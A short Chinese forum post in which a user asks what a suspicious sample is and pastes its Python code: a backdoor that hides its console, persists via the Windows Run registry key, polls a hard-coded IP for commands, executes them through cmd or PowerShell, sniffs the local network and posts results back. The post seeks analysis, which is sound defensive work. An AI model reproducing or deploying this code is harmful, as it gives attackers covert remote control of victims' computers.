本帖最后由 t0kenzero 于 2024-3-25 00:16 编辑
这算是个什么玩意? 疯狂请求个404地址 没看出来是csgethied()
global still
ct = win32api.GetConsoleTitle()
hd = win32gui.FindWindow(0, ct)
win32gui.ShowWindow(hd, 0)
still=1
getRegedit()
key_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_SET_VALUE)
value=sys.executable
winreg.SetValueEx(key, "test", 0, winreg.REG_SZ,value)
getCmd()
shellname = subprocess.run('hostname', shell=True, capture_output=True, text=True).stdout.strip()
url = f"http://38.12.0.151/GET/getUshell/output/{shellname}output.txt"
reUrl='http://38.12.0.151/GET/getUshell/results.php'
while 1:
try:
time.sleep(5)
resp = requests.get(url).text
cmd = resp.strip()
if cmd == 'getUfriends':
netList=[]
hisFriends=str(sniff_ip(netList))
data = {'shellname': shellname, 'results': hisFriends}
requests.post(reUrl, data)
time.sleep(10)
else:
match = None
try:
pattern = re.compile(r'^powershell=')
match = pattern.match(cmd)
except:
pass
if match:
threading.Thread(target=powershell,args=(cmd,)).start()
else:
shell = subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout
data={'shellname':shellname,'results':shell}
requests.post(reUrl,data)
except:
pass
powershell()
powershell = cmd.split('powershell=')
subprocess.run(['powershell', '-Command', powershell[-1]], capture_output=True, text=True, check=True)
send()
try:
shellname = subprocess.run('hostname',shell=True,capture_output=True,text=True).stdout.strip()
sqlurl = f"http://38.12.0.151/GET/getUshell/userShells.php?shellname={shellname}&username={user}"
requests.get(sqlurl)
except:
pass
|
发表于 2024-3-24 22:52:33
楼主